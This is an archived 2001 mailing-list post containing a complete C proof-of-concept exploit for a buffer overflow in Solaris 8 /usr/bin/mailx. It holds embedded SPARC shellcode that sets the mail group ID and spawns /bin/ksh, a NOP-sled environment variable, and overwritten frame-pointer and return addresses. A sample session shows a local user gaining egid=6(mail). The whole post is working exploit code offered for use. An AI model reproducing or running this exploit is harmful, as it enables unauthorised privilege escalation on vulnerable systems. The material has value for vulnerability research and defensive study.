#include <fcntl.h> /* /usr/bin/mailx overflow proof of conecpt. Pablo Sor, Buenos Aires, Argentina 05/2001 psorat_private, psorat_private works against Solaris 8 (SPARC) default offset should work. $ id uid=100(laika) gid=1(other) $ ./mailx-exp Subject: tomy . EOT [wait..] $ id uid=100(laika) gid=1(other) egid=6(mail) */ int main(int ac, char **av) { char shell[]= "\x90\x10\x20\x06\x82\x10\x20\x88\x91\xd0\x20\x08" /* setegid(6) */ "\x90\x10\x20\x06\x82\x10\x20\x2e\x91\xd0\x20\x08" /* setgid(6) */ /* LSD-pl.net guys shellcode */ "\x90\x08\x3f\xff" /* and %g0,-1,%o0 */ "\x82\x10\x20\x17" /* mov 0x17,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "\x20\xbf\xff\xff" /* bn,a <shellcode-4> */ "\x20\xbf\xff\xff" /* bn,a <shellcode> */ "\x7f\xff\xff\xff" /* call <shellcode+4> */ "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ "\x92\x02\x20\x10" /* add %o0,16,%o1 */ "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ "\x82\x10\x20\x0b" /* mov 0xb,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "/bin/ksh"; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } unsigned long magic = get_sp() + 1444 ; /* default offset */ unsigned char buf[1220]; char *envi; int cont; envi = (char *)malloc(1000*sizeof(char)); for (cont=3;cont<990;cont=cont+4) { envi[cont]= 0xa6;envi[cont+1]=0x1c;envi[cont+2]=0xc0;envi[cont+3]=0x13; } for (cont=803;cont<803+strlen(shell);++cont) envi[cont]=shell[cont-803]; memcpy(envi,"SO=",3); envi[999]=0; putenv(envi); memset(buf,0x41,1220); memcpy(buf+1120+24,&magic,4); /* fake %fp */ memcpy(buf+1120+28,&magic,4); /* fake %i7 */ buf[1220]=0; execl("/usr/bin/mailx","mailx","-F",buf,NULL); } -- Pablo Sor psorat_private, psorat_private
This archive was generated by hypermail 2b30 : Mon May 14 2001 - 00:58:39 PDT